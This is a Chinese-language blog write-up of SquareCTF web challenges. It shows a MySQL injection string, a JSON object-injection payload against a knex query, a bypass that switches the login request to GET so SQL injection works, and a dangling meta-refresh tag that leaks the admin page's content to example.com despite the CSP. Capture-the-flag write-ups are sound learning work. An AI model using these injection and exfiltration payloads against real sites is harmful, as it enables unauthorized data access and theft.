這個周末打了SquareCTF
不過這周隊友都在忙,所以排名蠻後面ㄉ

他的Web其實有點偏通靈就是了,只有一題有給Source

Alex Hanlon Has The Flag!

MySQL的SQLI

' or '1'='1' limit 1,1;#

xark

這題是唯一有給Souce的Web
他是用knex做sql的操作
有問題的主要是這段

const crushes = await knex('crushes')
            .select()
            .where({
                to: req.body.to
            })
            .limit(50);

雖然他urlencoded有設extended為false
不過有開json
所以可以直接丟一個物件進去

{
    "to":{
        "id":1
    }
}

Going In Blind

接下來的題目我都沒有解出來
最通靈的就是這題
一樣是SQLI
不過現在他只限制輸入英數字
並且因為他用的驗證函式式Java的isAlphanumeric()
所以其實還可以輸入unicode字元
不過那不是重點
當你隨便輸入特殊字元的時候
會直接報錯,並且給你Java的trace log

There was an unexpected error (type=Internal Server Error, status=500).
password must contain alphanumeric characters only
java.lang.RuntimeException: password must contain alphanumeric characters only
	at com.example.goinginblind.MainController.postLogin(MainController.java:32)
	at jdk.internal.reflect.GeneratedMethodAccessor35.invoke(Unknown Source)
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    ......

可以看到是在postLogin裡面出錯了
所以把HTTP Method改成GET就可以正常SQLI了喔
诶嘿~ ☆(ゝω●)
不是誰會知道你只會在post裡面加驗證函式6 Д 9

NoJS

一樣沒給Source
不過很明顯就是XSS
但題目給的CSP是

default-src ‘self’; script-src ‘none’;

也就是說任何的JavaScript都沒辦法執行
同時外部資源都沒辦法引入

這題解不出來只能說我XSS的經驗還不足ㄅ
第一次知道<meta http-equiv="refresh">這招可以在body裡面用

<meta http-equiv="refresh" content="url=https://example.com?content=

這樣就可以直接把admin的頁面帶到xss的網址裡

結語

真的輸光,希望下禮拜的HITCON CTF能加把勁